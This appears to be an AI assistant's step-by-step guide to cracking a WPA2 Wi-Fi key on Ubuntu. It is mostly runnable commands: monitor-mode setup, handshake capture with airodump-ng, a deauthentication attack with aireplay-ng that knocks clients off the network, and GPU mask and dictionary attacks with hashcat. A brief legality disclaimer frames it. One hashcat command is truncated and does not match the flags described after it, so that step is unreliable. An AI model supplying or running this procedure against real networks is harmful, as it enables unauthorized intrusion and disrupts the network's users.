Brute-forcing a WPA2 key is a computationally intensive task that leverages the parallel processing power of an NVIDIA GPU to speed up the process. Below is a step-by-step guide to brute-force a WPA2 key using an NVIDIA GPU on Ubuntu Linux. Please note that this guide is for **educational purposes only** and should only be performed on networks you own or have explicit permission to test. Unauthorized hacking is illegal and unethical.

Prerequisites

1. **Hardware**:
   - A computer running Ubuntu Linux (e.g., Ubuntu 20.04 or later).
   - An NVIDIA GPU with CUDA support (check compatibility on NVIDIA's website).
   - A wireless adapter capable of monitor mode (e.g., Alfa AWUS036NHA or similar).
2. **Software**:
   - Aircrack-ng suite for capturing the WPA2 handshake.
   - Hashcat for brute-forcing the key using the GPU.
   - NVIDIA drivers and CUDA toolkit installed.
   - Optional: hcxtools for converting capture files to Hashcat-compatible format.

Step-by-Step Guide

1. Set Up Your Environment

a. **Update Ubuntu**: Ensure your system is up to date:

```
sudo apt update && sudo apt upgrade -y
```

b. **Install NVIDIA Drivers and CUDA Toolkit**:

- Check for your NVIDIA GPU:

  ```
  lspci | grep -i nvidia
  ```

- Install the latest NVIDIA drivers:

  ```
  sudo apt install nvidia-driver-<version> nvidia-cuda-toolkit
  ```

  Replace `<version>` with the appropriate driver version (e.g., `nvidia-driver-525`). You can

find the recommended version using:

```
ubuntu-drivers devices
```

- Verify the driver installation:

```
nvidia-smi
```

This should display your GPU details.

c. **Install Aircrack-ng**:

```
sudo apt install aircrack-ng
```

d. **Install Hashcat**:

- Download the latest Hashcat binary from the official website or GitHub:

```
wget https://hashcat.net/files/hashcat-6.2.6.7z
7z x hashcat-6.2.6.7z
cd hashcat-6.2.6
```

- Alternatively, install via apt (may not be the latest version):

```
sudo apt install hashcat
```

e. **Install hcxtools** (for modern Hashcat hash modes):

```
sudo apt install hcxtools
```

2. Capture the WPA2 Handshake

a. **Put Your Wireless Adapter in Monitor Mode**:

- Identify your wireless interface:

```
iwconfig
```

- Enable monitor mode (replace `wlan0` with your interface):

```
sudo airmon-ng start wlan0
```

This creates a monitor interface (e.g., `wlan0mon`).

b. **Scan for Networks**:

- Use `airodump-ng` to find the target network:

```
sudo airodump-ng wlan0mon
```

- Note the **BSSID**, **channel (CH)**, and **ESSID** of the target network.

c. **Capture the Handshake**:

- Focus on the target network to capture the 4-way handshake:

```
sudo airodump-ng -c <channel> --bssid <BSSID> -w capture wlan0mon
```

Replace `<channel>` and `<BSSID>` with the values from the previous step. This saves the capture to a file named `capture-01.cap`.

d. **Force a Handshake (Optional)**:

- If no devices connect, perform a deauthentication attack to force a reconnection:

```
sudo aireplay-ng -0 2 -a <BSSID> -c <client_MAC> wlan0mon
```

Replace `<client_MAC>` with the MAC address of a connected client (visible in `airodump-ng` output). The `-0 2` sends two deauth packets.

- Check for the handshake in the `airodump-ng` terminal. It will display `[WPA handshake: <BSSID>]` in the top-right corner when captured.

e. **Stop Capturing**:

- Press `Ctrl+C` to stop `airodump-ng`.

3. Convert the Handshake to Hashcat Format

Since Hashcat 6.0.0, WPA/WPA2 cracking uses the hash mode 22000, requiring a `.hc22000` file instead of the older `.hccapx` format.

a. **Convert the .cap File**:

- Use `hcxpcapngtool` from hcxtools:

```
hcxpcapngtool capture-01.cap -o capture.hc22000
```

b. **Verify the Conversion**:

- Ensure the `.hc22000` file is created and contains valid handshake data:

```
cat capture.hc22000
```

4. Brute-Force the WPA2 Key with Hashcat

a. **Verify GPU Support**:

- Check that Hashcat detects your NVIDIA GPU:

```
./hashcat -I
```

  This lists available CUDA devices.

b. **Perform a Brute-Force Attack**:

- Run a masked brute-force attack (more efficient than traditional brute-forcing). For example, to try all 8-digit lowercase passwords:

```
./hashcat -m 22000 -a 3 capture.hc22000 ?l?l?l?l?l?l?l?l -w 3
```

  - `-m 22000` : Specifies WPA-PBKDF2-PMKID+EAPOL hash mode.
  - `-a 3` : Brute-force attack mode.
  - `?l` : Lowercase letters (use `?u` for uppercase, `?d` for digits, `?s` for special characters).
  - `-w 3` : High workload profile for maximum GPU utilization (may freeze the UI temporarily).

- For a more complex mask (e.g., 8-12 characters with lowercase, uppercase, and digits):

```
./hashcat -m 22000 -a 3 capture.hc22000 -1 ?l?u?d --increment --increment-min 8 --
```

  - `-1 ?l?u?d` : Custom charset (lowercase, uppercase, digits).

- `--increment` : Tries passwords from 8 to 12 characters.
- `--increment-min 8` and `--increment-max 12` : Defines the password length range.

c. **Monitor Progress**:

- Hashcat will display its progress. If a password is found, it will be saved in the `.pot` file (e.g., `hashcat.potfile`).

d. **Recover the Password**:

- Check the cracked password:

  ```
  ./hashcat -m 22000 capture.hc22000 --show
  ```

  The output will show the password in the format: `<hash>:<ESSID>:<password>` .

5. Optimize and Troubleshoot

- **Optimize the Attack**:
  - Use a mask tailored to the expected password pattern to reduce keyspace. For example, if you know the password is 8 digits, use `?d?d?d?d?d?d?d?d` .
  - Combine with a dictionary attack (`-a 0`) using a wordlist like `rockyou.txt` for faster results if the password is common:

    ```
    ./hashcat -m 22000 -a 0 capture.hc22000 /path/to/rockyou.txt -w 3
    ```

- **Troubleshooting**:
  - **GPU Not Detected**: Ensure NVIDIA drivers and CUDA toolkit are correctly installed. Reboot after installation if necessary.
  - **No Handshake Captured**: Increase deauth packets (`-0 5`) or wait longer for a natural handshake.
  - **Slow Performance**: Ensure `-w 3` is used for maximum GPU utilization. Check that your GPU supports CUDA (compute capability > 3.0 recommended).

Performance Notes

- **NVIDIA GPUs**: CUDA provides significant speed improvements over CPU-based cracking. For example, an NVIDIA RTX 4090 can process millions of hashes per second, compared to

thousands on a CPU.

- **Brute-Force Time**: Brute-forcing an 8-character lowercase password (`?l?l?l?l?l?l?l?l`) can take hours to days, depending on GPU power. More complex passwords may take weeks or longer.
- **Mask Attack**: Using a mask (e.g., `?d?d?d?d?d?d?d?d` for 8 digits) is faster than a full brute-force, as it reduces the keyspace.

Security Recommendations

- **Strong Passwords**: WPA2 passwords should be at least 12 characters long, mixing uppercase, lowercase, numbers, and symbols to resist brute-force attacks.
- **Ethical Use**: Only test networks you own or have permission to access. Unauthorized access is illegal under laws like the U.S. Computer Fraud and Abuse Act (CFAA).

Sources

- Brezular's Blog on WPA2 cracking with NVIDIA CUDA:
- Hashcat WPA/WPA2 cracking guide:
- BlackMORE Ops tutorial on Hashcat with Kali Linux:
- Brannon Dorsey's guide on cracking WPA/WPA2:

If you need help with specific commands or troubleshooting, let me know!